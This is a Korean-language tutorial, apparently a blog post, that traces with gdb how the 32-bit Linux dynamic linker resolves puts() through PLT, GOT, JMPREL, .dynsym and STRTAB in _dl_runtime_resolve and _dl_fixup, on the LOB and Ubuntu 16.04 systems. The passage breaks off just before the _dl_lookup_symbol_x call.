이어서 edx(0x80494fc) + 4는 0x8049500인데, 0x8049500 주소에 있는 값은 0x8048278이고, 0x8048278은 JMPREL주소이다.

JMPREL의 시작 주소인 0x8048278 주소에서 8byte씩 출력해보면 처음 4byte는 GOT 주소이고, 그 다음 4byte의 처음 1byte는 0x07로 재배치 타입을 의미하며, 나머지 3byte는 0x000001로 .DYNSYM 테이블에서의 index를 의미한다.

그리고 이전에 언급했듯이 fixup 함수를 호출하기 전 edx에 담아뒀던 reloc_offset(0x8) 값을 ecx 레지스터에 옮겼었으므로 ecx 레지스터에는 reloc_offset(0x8) 값이 담겨있다.

그래서 edx+4 주소의 값(0x8048278) + ecx(0x8)는 JMPREL + reloc_offset 연산이고, 이는 위에서 말했듯이 puts() 함수에 해당하는 Elf32_Rel 구조체의 주소로 0x8048280이다.

그리고 이 0x8048280 주소를 ecx 레지스터에 담는다.

0x8048280 주소의 Elf32_Rel 형식의 구조체가 puts() 함수에 해당하는 구조체가 맞는지는 Elf32_Rel 구조체 내용에서 GOT 주소를 보면 0x804948c로 이는 처음에 확인했던 puts() 함수를 호출할 때 PLT에서 참조하는 GOT 주소랑 일치하다는 것으로 판단할 수 있다.

(.dynsym 테이블에서 puts() 함수의 index는 0x02이다.)

shell readelf -S plt_got | grep .dynsym

.dynsym 테이블의 주소는 위의 명령으로 알아낼 수 있는데, 0x8048158이다.

참고)

https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/structElf32__Sym.html

.dynsym 테이블은 동적 심볼 테이블로, import 및 export하는 모든 심볼의 정보가 담겨있고, Elf32_Sym 구조체로 이루어져 있다.

JMPREL 테이블에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값에 있는 .dynsym 테이블에서의 index 값을 이용해 수동으로 직접 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_Sym 형식의 구조체 값 찾아보기

.dynsym 테이블에서 위에서 구한 index를 이용해 puts 함수에 해당하는 Elf32_Sym 형식의 구조체를 찾았다면, 구조체의 내용 중 맨 처음 4byte와 14번째 1byte의 값이 중요하다.

처음 4byte 값은 STRTAB의 주소로부터의 offset 값이고, 14번째 1byte의 값은 호출하는 함수의 .dynsym 테이블에서의 index(2) 값과 and 연산을 해서 0이냐 아니냐로 이미 로딩이 된 함수인지 아닌지를 판단하는데, 만약 결과값이 0이라면 이전에 로딩된 적이 없다는 것을 의미하고, 0이 아니라면 이전에 이미 로딩된 적이 있다고 판단하고 puts 함수를 바로 호출해버린다.

위의 사진을 보면 STRTAB의 주소로부터의 offset 값은 0x1a이고, 14번째 1byte 값은 0이다.

14번째 1byte 값 0x00과 0x02를 and 연산하면 0이므로 이전에 로딩된 적이 없다는 것을 의미하고

STRTAB(0x080481c8)의 주소에서 0x1a를 더하니 STRTAB에서 "puts" 문자열의 주소이다.

위에서는 수동으로 직접 .dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체의 주소를 찾았지만, 코드 상에서 해당 구조체의 주소를 찾기 위해 Elf32_Rel 구조체 형식의 내용 중 .dynsym에서의 index와 재배치 정보가 들어있는 곳의 주소를 edi 레지스터에 저장

edi 레지스터에 0x8048284(JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값의 주소에 4를 더한 주소)를 저장한다.

정리해보면, 0x40000a76c 주소의 add %ecx,DWORD PTR [%edx+4] 명령을 수행하면 edx+4의 주소 안에 있는 값(0x8048278)은 Elf32_Rel 구조체 형식의 값으로 구성된 재배치 테이블인 JMPREL의 시작 주소이고, ecx에는 reloc_offset 값(0x8)이 있으니 이 둘을 더하면 ecx에는 JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값의 주소가 담기게 된다.

그리고 이 Elf32_Rel 구조체의 내용 중 맨 처음 4byte 값이 GOT 주소이므로 이 값을 이용해 puts 함수에 해당하는게 맞는지 확인할 수 있고, 다음 4byte 값 중 .dynsym 테이블에서의 index인 값을 이용해 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_sym 구조체의 주소를 찾을 수 있다.

이어서 이 Elf32_sym 구조체의 내용 중 맨 처음 4byte 값은 STRTAB에서의 offset이므로 STRTAB의 시작 주소에 이 offset 값을 더하면 STRTAB 테이블에서 호출하는 함수의 이름에 해당하는 주소를 얻을 수 있다.

STRTAB에서 puts 문자열의 주소를 구하는 부분

위에서는 fixup 함수 내부에서 link_map(ld loader가 참조하는 링크 지도로, 라이브러리의 정보를 담고 있는데, 이 구조체를 통해 여러 테이블의 주소를 구할 수 있다.)을 이용해 STRTAB 테이블(현재 프로그램에서 사용되는 함수들의 이름이 있다.)의 주소를 구하고

link_map을 이용해 JMPREL(재배치 정보를 담고 있는 재배치 테이블)의 시작 주소를 구한 후 JMPREL의 시작 주소에 reloc_offset 값을 더해 JMPREL 테이블에서 puts 함수에 해당하는 Elf32_Rel 구조체의 주소를 구하는데, 이 Elf32_Rel에는 puts 함수의 GOT 주소와 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_sym 구조체의 주소를 알아낼 수 있는 index가 담겨져있다.
(해당 Elf32_Rel 구조체가 puts의 함수에 해당하는 것이 맞는지는 GOT 주소 값을 보면 된다.)

그리고 .dynsym 테이블(동적 심볼 테이블, import 및 export하는 모든 심볼의 정보가 있다.)의 Elf32_sym 구조체에는 STRTAB에서 puts 문자열의 주소를 알아낼 수 있는 offset 값이 있고, 최초 호출인지 재호출인지 and 연산하여 알 수 있는 값이 들어있는 것을 확인했다.

이제 STRTAB에서 puts 문자열의 주소를 구하기 위해 필요한 것들을 알아냈기 때문에 실제로 STRTAB에서 puts 문자열의 주소를 구하는 과정을 수행하는 명령 부분을 살펴본다.

위의 코드 부분이 STRTAB에서 puts 문자열의 주소를 eax 레지스터에 넣고 _dl_lookup_versioned_symbol 함수를 호출하는 부분이다.

그 과정을 하나하나 따라가본다.

JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값에서 .dynsym에서의 index 값을 가져와 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값에서 STRTAB 에서의 puts 문자열 offset 값을 구하기

가장 먼저, ecx+4(0x8048284) 주소에 있는 값 0x207을 edi에 넣는데, 0x8048284는 이전에 나왔듯이 JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체의 내용 중 .dynsym 테이블에서의 index와 재배치 타입 정보가 들어있는 4byte의 시작 주소이다.

(0x8048280 주소에는 puts 함수의 GOT 주소가 들어있다.)

0x207 값에 shr 0x8 연산과 shl 0x4 연산을 거치면 edi 레지스터에는 0x20 값이 저장된다.

이어서 eax+4(0x80494c8) 주소에 있는 값 0x8048158을 eax 레지스터에 담는데, 0x8048158 주소는 .dynsym 테이블의 주소이다.

.dynsym 테이블의 주소(0x8048158)에 이전에 연산한 0x20 값을 더하면 0x8048178 주소가 되는데

이 주소는 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_Sym 구조체의 주소로, STRTAB 테이블에서 "puts" 문자열의 offset 값(0x1a)이 들어있다.

그러므로 edi 레지스터에는 STRTAB에서의 puts 문자열 offset 값이 들어있는 주소(0x8048178)가 담긴다.

STRTAB 테이블에서의 "puts" 문자열 offset 값이 들어있는 주소 0x8048178을 ebp-16(0xbffffc84) 주소와 ebp-4(0xbffffc90) 주소에 넣는다.

결론적으로 0x8048178 주소(STRTAB 테이블에서의 "puts" 문자열 offset 값이 들어있는 주소)를 ebp-16(0xbffffc84) 주소와 ebp-4(0xbffffc90) 주소에 넣는다.

GOT 주소 알아와서 EBP-12 주소에 기록하고 재배치 타입을 비교해 조건 분기 및 esi 레지스터에 link_map 주소 넣기

STRTAB에서의 puts 문자열 주소를 구하는 부분을 살펴보기 전 ecx 레지스터에는 0x8048280 주소가 들어있었는데, 이 주소는 JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체의 주소이다.

0x8048280 주소에 있는 값 0x804948c를 esi 레지스터에 넣는데, 0x804948c는 puts 함수의 GOT 주소이다.

ebp-20(0xbffffc80) 주소에는 이전에 link_map(0x40013ed0)의 주소를 넣뒀는데, link_map(0x40013ed0)의 주소에 있는 값 0x0을 edi 레지스터로 옮기고

ebp-12(0xbffffc88) 주소에 puts 함수의 GOT 주소(0x804948c)를 넣는다.

그리고 ecx+4의 주소(0x8048284)는 JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체의 내용에서 .dynsym 테이블에서의 index와 재배치 타입 정보가 들어있는 곳으로, 0x207이라는 값이 들어있었으므로 edx에는 0x207이 담긴다.

이어서 edx 레지스터에 있는 값에서 8bit 값만 비교하여 재배치 타입이 뭔지 비교 후 0x4000a7b6 주소로 점프한 후 link_map의 주소(0x40013ed0)를 esi 레지스터에 저장한 다음

esi+400 주소(0x40014060)에 있는 값 0x804952c 주소를 eax에 넣고, eax의 값이 0인지 검사하여 0이면 0x4000a800 주소로 점프하지만 eax의 값이 0이 아니므로 조건 분기를 수행하지 않는다.

조건 분기를 하지 않았으므로 바로 다음 줄의 명령을 수행하는데

eax+4 주소(0x8049530)의 값 0x8048240 주소를 eax로 옮기고, edx 레지스터의 값 0x207을 0x2로 만든 다음 eax 레지스터의 값(0x8048240)에 0x2를 더한 0x8048242 주소에 있는 2byte 값 0x0002을 eax로 옮긴다.

그러면 eax에는 0x02가 들어가게 되고, 0x4와 shl 연산을 해 0x20으로 만든 다음 esi+488 주소(0x400140b8)에 있는 값 0x40014660에 더하면, eax에는 0x40014680이 들어가게 된다.

실제로 STRTAB의 주소와 STRTAB에서 puts 문자열의 offset 값과 더해 STRTAB에서 puts 문자열의 주소를 구하는 부분

eax+4 주소(0x40014684)에 있는 값 0x0d696910과 0을 비교하여 같으면 0x4000a800 주소로 점프하는데, 0x0d696910과 0은 다르므로 조건 분기를 수행하지 않는다.

(0x4000a800 주소는 이전에도 0x4000a7c1 주소에서 조건 분기를 할 때 점프하는 주소였다.)

ebp-4의 주소(0xbffffc90=0x8048178(.dynsym 테이블에서 puts 함수의 Elf32_Sym 구조체 형식의 값의 주소))를 edx 레지스터에 옮기고

ebp-16 주소(0xbffffc84)에 있는 값 0x8048178(.dynsym 테이블에서 puts 함수의 Elf32_Sym 구조체 형식의 값의 주소)을 edi 레지스터에 옮기는데, 0x8048178 주소에는 STRTAB에서 puts 문자열의 offset이 담겨있다.

이어서 0x8048178 주소에 있는 값 0x1a를 edi로 옮기므로 edi에는 0x1a가 들어가게 된다.

그리고 ebp-8 주소(0xbffffc8c) 주소에 있는 값 0x80481c8에 edi의 값 0x1a를 더하는데, 0x80481c8은 STRTAB의 주소이고, 0x1a는 STRTAB에서 puts 문자열의 offset 값이므로 STRTAB에서 puts 문자열의 주소(0x80481e2)를 구해 ebp-8 주소(0xbffffc8c)에 넣는 것이다.

이 부분이 실제로 STRTAB에서 puts 문자열의 주소(0x80481e2)를 구하는 곳이다.

이어서 스택에 0x7, 0x40014680, 0x40010c27을 넣고, esi 레지스터의 값 0x40013ed0(link_map)을 ecx 레지스터에 넣는다.

ecx 레지스터의 값을 0x400140d4로 만들고, ebp-8 주소(0xbffffc8c)에 있는 값 0x80481e2(STRTAB에서 puts 문자열의 주소)를 eax 레지스터에 옮기므로 eax 레지스터에는 STRTAB에서 puts 문자열의 주소(0x80481e2)가 들어있다.

_dl_lookup_symbol 호출 전 레지스터 및 스택 정리

여기까지 정리해보면 eax 레지스터에는 0x80481e2(STRTAB에서 puts 문자열의 주소)

edx 레지스터에는 0x8048178(.dynsym에서 puts 함수의 Elf32_Sym 주소) 주소가 있는 스택의 주소

esi 레지스터에는 0x40013ed0(link_map) 주소

edi 레지스터에는 0x1a(STRTAB 에서의 puts 문자열 offset)

그리고 ebp-16, ebp-4에는 0x8048178(.dynsym에서 puts 함수의 Elf32_Sym 주소), ebp-8에는 0x80481e2(STRTAB에서 puts 문자열의 주소)가 있다.

_dl_lookup_versioned_symbol 호출 및 디스어셈블

그 다음 _dl_lookup_versioned_symbol() 함수를 호출한다.

_dl_lookup_versioned_symbol() 함수는 너무 길기 때문에 라이브러리의 주소와 SYMTAB의 주소를 얻어오는 함수라고 이론적으로만 알고 넘어간다.

_dl_lookup_symbol() 함수가 없는지 확인

gdb 내에서 info func 명령으로 모든 함수를 출력하고

검색 기능으로 _dl_lookup 문자열을 찾아보니 위와 같이 나왔다.

_dl_lookup_versioned_symbol 함수 반환값 확인

_dl_lookup_versioned_symbol() 함수 끝 부분에 bp를 걸고 실행한 후 fixup 함수로 반환 직전 레지스터의 값들을 출력해보면 함수의 반환값이 담기는 eax 레지스터에 0x40018000 값이 있고, 이는 라이브러리의 주소이다.

_dl_lookup_versioned_symbol() 함수를 끝내고 fixup 함수로 복귀하여 _dl_lookup_versioned_symbol() 함수에서 알아낸 SYMTAB 주소 edx 레지스터에 저장

fixup 함수로 복귀하여 이어서 진행하면 ebp-4 주소(0xbffffc90)에 있는 값 0x4001c7d0을 edx에 옮기는데, 이 값은 SYMTAB의 주소이고, SYMTAB 주소(0x4001c7d0)로부터 4byte 뒤에 있는 값 0x53570은 라이브러리에서 puts 함수의 offset 값이다.

실제로 puts 함수의 offset 값이 맞는지 확인해본다.

참고)

https://www.mcs.anl.gov/OpenAD/OpenADFortTkExtendedDox/classwhirl2xaif_1_1xlate__ST__TAB.html#a61fad846a94093d7830f7510ef1c86f9

SYMTAB 주소를 구했는지 확인하고 라이브러리의 주소와 SYMTAB에서 찾아낸 puts 함수의 offset 값을 더해 실제 puts 함수의 주소 알아내 eax 레지스터에 저장

SYMTAB의 주소를 구해왔는지 확인하기 위해 edx 레지스터의 값이 0인지 확인해서 0이면 0x4000a830 주소로 점프하지만, SYMTAB의 주소(0x4001c7d0)를 구해왔기 때문에 다음 줄의 명령이 수행된다.

edx+4 주소(0x4001c7d4)에 있는 값 0x53570(라이브러리에서 puts 함수의 offset)을 라이브러리의 주소(0x40018000)에 더하면 실제 puts 함수의 주소(0x4006b570)가 나온다.

fixup 함수 내에서 구해 저장해둔 puts 함수의 GOT 주소를 가져와 GOT 주소에 puts 함수의 실제 주소를 넣기

0x4000a832 주소로 점프한 후 fixup 함수 내에서 구해 스택에 저장해둔 puts 함수의 GOT 주소를 edi 레지스터에 담고

eax 레지스터의 값 0x4006b570(puts 함수의 실제 주소)을 GOT에 덮어쓴다.

이로써 put함수의 GOT 주소에는 puts 함수의 실제 주소가 들어가게 된다.

fixup 함수 종료 후 _dl_runtime_resolve 함수 종료

나머지 명령들을 실행하면서 fixup 함수가 끝나고 _dl_runtime_resolve 함수로 반환한 후 _dl_runtime_resolve 함수도 끝난다.

과정에서는 생략됐지만 _dl_runtime_resolve 함수로 복귀한 뒤 실제 puts 함수의 주소로 넘어간다.

2번째 puts 함수 호출 부분에서 GOT 주소의 값 확인

위에서 첫 번째 puts 함수 호출에서 runtime resolve 과정을 통해 GOT 주소에 puts 함수의 실제 주소를 기록해뒀기 때문에 두 번째 puts함수 호출부터는 GOT 주소에 PLT+6의 주소가 아닌 puts 함수의 실제 주소가 있다.

우분투 32bit 환경에서 puts() 함수를 두 번 호출하는 프로그램을 만들어서 gdb로 실습

위의 실습에서는 hackerschool의 lob라는 오래된 환경에서 진행했기 때문에
이번에는 다른 환경인 ubuntu 16.04.07 32bit에서 진행해본다.
https://releases.ubuntu.com/16.04/)

ubuntu 16.04.07 32bit를 선택한 이유는 ubuntu 17 버전부터는 32bit 버전을 지원하지 않기 때문이다.

ubuntu 17 버전 이상부터 32bit 버전을 사용하려면 ubuntu mate와 같이 아직 32bit 버전을 지원하는
다른 비슷한 환경을 사용해야 한다.

ubuntu에서 진행하는 내용도 위의 내용을 이해했다면 금방 이해할 것이다.

lob 환경에서 분석한 내용을 다시 봐보면 아래와 같다.

STRTAB의 주소를 구해서 ebp-8에 넣고, JMPREL의 주소를 구한 후 곧바로 reloc_offset과 더해 puts에 해당하는 Elf32_Rel 구조체 형식의 값의 주소를 구해 ecx에 담은 다음 edi 레지스터에 ecx+4의 주소를 담아 연산을 거친 후 .dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체 형식의 값의 주소를 구한다.

이어서 Elf32_Sym 구조체 형식의 값의 내용 중 STRTAB에서의 puts 문자열 offset(0x1a)이 들어있는 주소를 ebp-16과 ebp-4에 넣어두고

Elf32_Sym 구조체 형식의 값의 내용에서 GOT 주소를 구해 ebp-12 주소에 넣어둔 다음 esi 레지스터에 link_map의주소를 넣어둔다.

그 다음 ebp-4에 있는 값(0x8048178)을 edx 레지스터에 넣고, edi 레지스터에 STRTAB에서의 puts 문자열 offset 값인 0x1a를 넣은 후 ebp-8 주소에 넣어둔 STRTAB 주소에 edi 레지스터의 값 0x1a를 더해 실제 STRTAB에서 puts 문자열의 주소(0x80481e2)를 구해 ebp-8과 eax 레지스터에 넣는다.

최종적으로 eax 레지스터에 STRTAB에서의 실제 puts 문자열의 주소(0x80481e2, edx에 .dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x8048178)가 들어있는 스택의 주소(0xbffffc90), esi에 link_map의 주소(0x40013ed0), edi에 STRTAB에서의 puts 문자열 offset(0x1a), ebp-16과 ebp-4에 .dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x8048178), ebp-8에 STRTAB에서 puts 문자열의 주소(0x80481e2)가 들어있는 상태에서 _dl_lookup_versioned_symbol()함수를 호출한다.

#include <stdio.h>
int main(void)
{
	puts("hello\n");
    puts("world\n");
    
    return 0;
}

우분투에서 위의 코드를 컴파일하여 실행 가능한 바이너리 파일로 만든다.

gdb로 바이너리 파일을 연 후 intel 문법으로 출력되게 설정하고 main 함수를 디스어셈블 해보면 위와 같이 나오는데 0x8048424 주소와 0x8048434 주소에서 puts() 함수를 호출하는 것을 볼 수 있다.

위 두 주소 모두 BP를 걸고 실행한다.

PLT & GOT 부분 및 Dynamic Linking 시작(PLT+6(reloc_offset), PLT+11)

puts() 함수를 호출하니 plt를 참조하고, plt에서는 got를 참조하는데, 현재 puts 함수의 GOT 주소에는 plt+6의 주소가 있다.

plt+6 주소로 점프한 후 reloc_offset 값으로 0x0을 스택에 넣고, 0x80482d0 주소로 점프한다.

link_map 주소를 스택에 넣고 _dl_runtime_resolve 함수로 점프 및 _dl_runtime_resolve 함수 디스어셈블

0x80482d0 주소에서는 link_map의 주소 0xb7fff918을 스택에 넣고 0xb7ff0000 주소로 점프하는데, 해당 주소는 _dl_runtime_resolve 함수의 주소이다.

_dl_runtime_resolve 함수 내에서는 eax, ecx, edx 레지스터의값을 스택에 넣고, 위에서 스택에 넣어둔 reloc_offset 값과 link_map 주소를 각각 edx, eax 레지스터에 넣는다.

fixup함수 호출 직전 스택 확인

낮은 주소

edx

ecx

eax

link_map

reloc_offset

높은 주소

실제로 해당 값들이 저장되어 있는지 확인해보기 위해 _dl_fixup 함수를 호출하기 직전인 0xb7ff000b 주소에 BP를 걸고 진행한 다음 edx 레지스터와 eax 레지스터의 값을 보면 reloc_offset 값과 link_map의 주소가 들어있다.

그리고 스택을 보면 빨간색 박스에 reloc_offset, 주황색 박스에 link_map의 주소, 노란색 박스에 오른쪽부터 eax, ecx, edx 값이 들어있다.

_dl_fixup 함수 내부로 진입 및 _dl_fixup 함수 디스어셈블

_dl_fixup 함수로 들어가서 _dl_fixup 함수를 디스어셈블 해보면 위와 같다.

현재 edx 레지스터와 eax 레지스터에는 reloc_offset 값과 link_map의 주소가 들어있다.

link_map을 이용해 STRTAB의 주소, JMPREL의 주소, GOT의 주소, .dynsym에서의 index 값과 재배치 타입의 값 구하는 부분

이전에 lob 환경에서는 STRTAB의 주소를 구하고, JMPREL의 주소를 구한 후 puts에 해당하는 Elf32_Rel 구조체 형식의 값의 주소를 구하고 나서 .dynsym에서 puts 함수에 해당하는 Elf32_Sym 구조체 형식의 값의 주소를 구하고 puts 문자열의 offset 값을 구한 다음 GOT 주소를 구하고 마지막으로 PUTS 문자열의 주소를 구하는 순서로 진행됐었다.

하지만 ubuntu 16.04.07 32bit 버전에서는 좀 다르게 값을 구하는 순서와 구하는 방법에 변화가 있다.

위의 사진을 보면 빨간색 화살표로 되어 있는 것과 초록색 화살표로 되어 있는 것 그리고 하얀색 화살표로 되어 있는 것과 노란색 화살표로 되어 있는게 있는데 각각 아래와 같다.

빨간색 화살표 : JMPREL의 주소를 구하는 부분

0xb7fe97e2: mov edi, eax
0xb7fe97f4: mov ecx, [edi+0x7c]
0xb7fe97fe: add edx, [ecx+0x4]

초록색 화살표 : STRTAB의 주소를 구하는 부분

0xb7fe97f7: mov eax, [eax+0x34]
0xb7fe9801: mov eax, [eax+0x4]
0xb7fe9807: mov [esp+0xc], eax

하얀색 화살표 : puts 함수의 GOT 주소를 구하는 부분

0xb7fe980b: mov ebp, edx
0xb7fe9810: mov eax, [ebp+0x0]

노란색 화살표 : .dynsym에서의 index 값과 재배치 타입 값을 구하는 부분

0xb7fe980d: mov edx, [edx+0x4]
0xb7fe9813: mov esi, edx

그리고 0xb7fe9804 주소에서 edi+0x38 주소에 있는 값을 ecx 레지스터에 넣는다.

link_map을 이용해 STRTAB의 주소, JMPREL의 주소, GOT의 주소, .dynsym에서의 index 값과 재배치 타입의 값 구하는 과정

실제로 명령 한 줄씩 따라가보며 값을 알아본다.

순서가 뒤죽박죽이니 잘 따라가야 한다.(기록하며 따라가는 걸 추천한다.)

먼저 eax 레지스터에 있는 link_map의 주소(0xb7fff918)를 edi 레지스터에 넣는다.

link_map의 주소(0xb7fff918)에 0x7c를 더한 주소(0xb7fff994)에 있는 값(0x8049f94)을 ecx 레지스터에 넣는다.

link_map의 주소(0xb7fff918)에 0x34를 더한 주소(0xb7fff94c)에 있는 값(0x8049f54)을 eax 레지스터에 넣는다.

link_map을 이용해 재배치 정보를 담고 있는 재배치 테이블의 시작점인 JMPREL의 주소를 구함과 동시에 reloc_offset 값을 이용해 puts에 해당하는 Elf32_Rel의 주소 구하는 부분

esi 레지스터에 들어있던 값(0xb7fff000)을 esp+0x8 주소(0xbffff000)에 넣고

ecx+0x4에 있던 값(0x8048298)과 edx에 있던 reloc_offset 값(0x0)을 더해 edx 레지스터에 넣는다.

0x8048298 주소는 JMPREL의 시작 주소이고, reloc_offset 값이 0x0이기 때문에 0x8048298 주소의 Elf32_Rel 구조체 형식의 값은 puts() 함수의 값이다.

이 부분에서 JMPREL의 주소를 구함과 동시에 JMPREL 주소에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값의 주소를 구해 edx 레지스터에 넣는 것을 확인할 수 있다.

추가적으로 .dynsym에서의 index 값은 0x1인 것을 확인할 수 있으니 .dynsym에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값에 있는 STRTAB 주소로부터의 puts 문자열 offset 값을 알아와 수동으로 직접 확인해본다.

JMPREL 테이블에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값에 있는 .dynsym 테이블에서의 index 값을 이용해 수동으로 직접 .dynsym 테이블에서 puts 함수에 해당하는 Elf32_Sym 형식의 구조체 값 찾아보기

.dynsym의 주소는 0x80481cc이고, 해당 주소로부터 index 1번째 값을 보면 위와 같이 나오는데, 맨 처음 4byte는 STRTAB 주소로부터의 puts 문자열 offset 값이고, 14번째 1byte는 최초 호출인지 재호출인지 판단하기 위한 값이다.

STRTAB의 주소는 바로 다음에 구할 것이지만 미리 언급하자면 0x804821c이다.

0x804821c 주소에 offset 0x1a를 더하니 정말 puts 문자열이 출력되는 것을 확인할 수 있다.

link_map을 이용해 STRTAB 테이블 주소 구하기

바로 이어서 eax+0x4 주소(0x8049f58)에 있는 값(0x804821c)을 eax로 옮긴다.

0x804821c는 STRTAB의 주소이다.

이 부분에서 STRTAB의 주소를 구해 eax 레지스터에 넣는 것을 확인할 수 있다.

edi+0x38 주소(0xb7fff950)에 있는 값을 ecx 레지스터에 옮김으로써 ecx 레지스터의 값은 0x8049f5c로 바뀐다.

STRTAB의 주소를 esp+0xc 주소에 저장

구했던 STRTAB의 주소를 esp+0xc(0xbffff004) 주소에 저장해둔다.

edx 레지스터에 .dynsym에서의 index 값과 재배치 타입 값을 저장

edx 레지스터에는 JMPREL에서 puts에 해당하는 Elf32_Rel 구조체 형식의 값의 주소(0x8048298)가 들어있는데, 해당 주소를 ebp 레지스터에 옮긴 후

puts에 해당하는 Elf32_Rel 구조체 형식의 값에서 .dynsym에서의 index 값과 재배치 타입 값이 포함된 4byte 값을 edx 레지스터에 담는다.

그러면 최종적으로 edx 레지스터에는 0x107이 들어간다.

JMPREL 테이블에 Elf32_Rel 형식의 값의 내용 중 GOT 주소를 가져와 eax 레지스터에 저장

ebp+0x0 주소(0x8048298)에 들어있는 puts 함수의 GOT 주소를 eax 레지스터에 넣는다.

.dynsym에서의 index 값과 재배치 타입 값을 esi 레지스터에 저장

그리고 edx 레지스터에 담겨 있던 .dynsym에서의 index 값과 재배치 타입 값을 esi 레지스터에 옮김으로써 esi, edx 모두 0x107이 들어있다.

여기까지 정리해보면

eax 레지스터에는 GOT 주소(0x804a00c)

edx와 esi에는 .dynsym에서의 index값과 재배치 타입 값이 포함된 4byte 값(0x107)

ebp에는 JMPREL의 주소(0x8048298)

edi에는 link_map의 주소(0xb7fff918)

esp+0xc에는 STRTAB의 주소(0x804821c)가 들어있다.

JMPREL에서 puts 함수에 해당하는 Elf32_Rel 구조체 형식의 값에서 .dynsym에서의 index 값을 가져와 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값이 있는 주소 구하기

.dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x80481dc)를 구해 ebx 레지스터에 담는다.

link_map의 주소(0xb7fff918)에 있는 값 0x0을 eax 레지스터에 들어있는 값(0x804a00c)에 더해 eax 레지스터에 넣는다.

이는 0x0을 더하는 것이므로 별 의미 없는 것 같다.

재배치 타입 검사 및 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소를 esp+0x1c 주소에 저장

edx 레지스터에는 .dynsym 테이블에서의 index와 재배치 타입값이 들어있는데, 이 값에서 재배치 타입 값이 0x7인지 확인한다.

그리고 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x80481d)를 esp+0x1c(0xbfffefb4) 주소에 저장해두고

재배치 타입 값 0x7과 0x7을 비교했을 때 같았으므로 0xb7fe996f 주소로 점프하지 않는다.

GOT 주소를 ebp로 옮기고, 조건 분기

eax 레지스터에 들어있는 GOT 주소(0x804a00c)를 ebp로 옮긴다.

ebx+0xd(0x80481e9) 주소에 있는 값 0x00과 0x03을 and 연산하면 당연히 0이 나온다.

test 명령은 단순히 and 연산을 통해 0인지 아닌지만 검사하는데, 현재 test 명령의 결과는 0이고, 이는 ZF 플래그를 1로 설정하는데, jne 명령은 ZF 플래그가 0일 때 점프하므로 점프하지 않고 다음 라인의 명령을 수행한다.

이어서 edx 레지스터의 값이 0인지 and 연산을 하는데 같은 값을 and 연산하므로 1이 나오고 이는 ZF 플래그를 0로 설정하는데, je 명령은 ZF가 1일 때 점프하므로 점프하지 않고 다음 라인의 명령을 수행한다.

다음 라인에서는 edx+0x4(0x8049fc8)에 있는 값 0x8048266을 edx 레지스터에 넣는다.

이어서 edx+esi*2(0x8048268)에 있는 값 0x2를 edx에 넣고 0x20으로 만든 다음 edi+0x170(0xb7fffa88)에 있는 값 0xb7fd5480과 더해 0xb7fd54a0으로 만든 다음 edx 레지스터에 넣고, 0xb7fd54a0에 0x4를 더한 값 0xb7fd54a4 주소에 있는 0xd696910을 ecx에 넣고

ecx 레지스터의 값이 0인지 test 명령으로 and 연산을 한 결과 같은 값을 and 연산했으므로 1이 되고, 이는 ZF 플래그를 0으로 만든다.

그리고 cmove라는 명령어가 나오는데 https://nightohl.tistory.com/entry/CMOV-assembly-CMOV-관련-모든-명령어-정리 와 https://sdosj.tistory.com/entry/무분기-로직의 글을 참고하면 Cmp Move equal(==Zero)이다.

즉, test 명령을 수행할 때 결과가 0이면 ecx의 값을 edx로 옮기는 것인데, test 명령 수행 결과가 1이므로 cmove 명령은 수행되지 않는다.

그리고는 ecx에 담긴 값을 test 명령으로 and 연산을 하는데, ecx 레지스터에는 0x0이 담겨있으므로 and 연산 결과 0이고, 이는 ZF 플래그를 1로 설정하는데 jne 명령은 ZF 플래그가 0으로 설정될 때 점프이므로 점프하지 않고 다음 라인의 명령을 수행한다.

esp+0xc 주소에 저장해뒀던 STRTAB의 주소와 ebx 레지스터에 있던 0x80481dc 주소에 있는 puts 문자열 offset 값을 더해 STRTAB에서 실제 puts 문자열의 주소 구하기

STRTAB의 주소(0x804821c)를 eax 레지스터에 옮긴 후 ebx 레지스터에 담긴 puts 함수의 offset 값과 더해 실제 STRTAB에서 puts 문자열의 주소(0x8048236)를 eax 레지스터에 넣는다.

여기서 STRTAB에서 실제 puts 문자열의 주소를 구한다.

esp+0x1c 주소를 ecx 레지스터로 옮기기

위에서 esp+0x1c 주소(0xbfffefb4)에 .dynsym 테이블에서 puts에 해당하는 Elf32_Sym 구조체 형식의 값의 주소(0x80481dc)를 저장해뒀었는데 0x80481dc 주소가 담긴 esp+0x1c 주소를 ecx 레지스터로 옮긴다.

_dl_lookup_symbol_x 함수 호출 전 스택에 값 넣고 _dl_lookup_symbol_x 함수 호출

그리고는 스택에 0x0, 0x1, 0x1, 0xb7fd54a0를 넣고

link_map의 주소(0xb7fff918)를 edx 레지스터에 넣고

link_map의 주소로부터 0x1cc offset만큼 떨어진 곳에 있는 값 0xb7fffad0을 스택에 넣는다.

그리고는 _dl_lookup_symbol_x 함수를 호출한다.

_dl_lookup_symbol_x 함수를 호출하기 직전에 레지스터와 스택을 보면 위와 같다.

eax = STRTAB에서 puts 문자열의 실제 주소(0x8048236)
